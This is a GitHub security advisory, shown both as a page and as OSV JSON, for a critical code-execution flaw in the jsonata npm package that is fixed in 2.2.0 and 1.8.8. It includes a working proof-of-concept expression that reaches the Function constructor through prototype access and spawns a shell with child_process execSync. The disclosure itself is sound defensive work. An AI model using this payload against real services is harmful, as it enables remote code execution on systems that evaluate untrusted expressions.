GHSA-8GQ3-VP5J-2GRP

Vulnerability from github – Published: 2026-08-21 20:57 – Updated: 2026-08-21 20:57
VLAI
Summary
JSONata: Arbitrary Code Execution via crafted JSONata expressions
Details

Impact

Before JSONata 2.2.0 and 1.8.8 it was possible to execute arbitrary code with crafted expressions, due to a missing hasOwnProperty check in the lookup function: https://github.com/jsonata-js/jsonata/blob/f9632e01e6e67d4f9f00593f9795420cb4b57f48/src/functions.js#L1686-L1705

This was fixed with https://github.com/jsonata-js/jsonata/pull/794, which is included in the 2.2.0 release, and ported in the 1.8.8 release.

PoC

import jsonata from "jsonata";

const expression = jsonata(`
(
   __lookupSetter__('__proto__')(constructor);
   __defineGetter__('l', constructor("return
process.getBuiltinModule('child_process').execSync('sh',{stdio:'inherit'}).toString()"));
   valueOf().l
)
`);

await expression.evaluate({});
Severity
9.3 (Critical)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Show details on source website
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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.8.7"
      },
      "package": {
        "ecosystem": "npm",
        "name": "jsonata"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.8.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "jsonata"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0"
            },
            {
              "fixed": "2.2.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-77413"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-21T20:57:07Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "## Impact\n\nBefore JSONata `2.2.0` and `1.8.8` it was possible to execute arbitrary code with crafted expressions, due to a missing `hasOwnProperty` check in the `lookup` function:\nhttps://github.com/jsonata-js/jsonata/blob/f9632e01e6e67d4f9f00593f9795420cb4b57f48/src/functions.js#L1686-L1705\n\nThis was fixed with https://github.com/jsonata-js/jsonata/pull/794, which is included in the `2.2.0` release, and ported in the `1.8.8` release.\n\n## PoC\n\n```js\nimport jsonata from \"jsonata\";\n\nconst expression = jsonata(`\n(\n   __lookupSetter__(\u0027__proto__\u0027)(constructor);\n   __defineGetter__(\u0027l\u0027, constructor(\"return\nprocess.getBuiltinModule(\u0027child_process\u0027).execSync(\u0027sh\u0027,{stdio:\u0027inherit\u0027}).toString()\"));\n   valueOf().l\n)\n`);\n\nawait expression.evaluate({});\n```",
  "id": "GHSA-8gq3-vp5j-2grp",
  "modified": "2026-08-21T20:57:07Z",
  "published": "2026-08-21T20:57:07Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/jsonata-js/jsonata/security/advisories/GHSA-8gq3-vp5j-2grp"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jsonata-js/jsonata/pull/794"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jsonata-js/jsonata/commit/4b217d514376e30cba278941298d7ba97c4a6c6e"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jsonata-js/jsonata/commit/4c5f4adfb90a9b500889d50f90050ca68888b50d"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/jsonata-js/jsonata"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jsonata-js/jsonata/releases/tag/v1.8.8"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jsonata-js/jsonata/releases/tag/v2.2.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "JSONata: Arbitrary Code Execution via crafted JSONata expressions"
}



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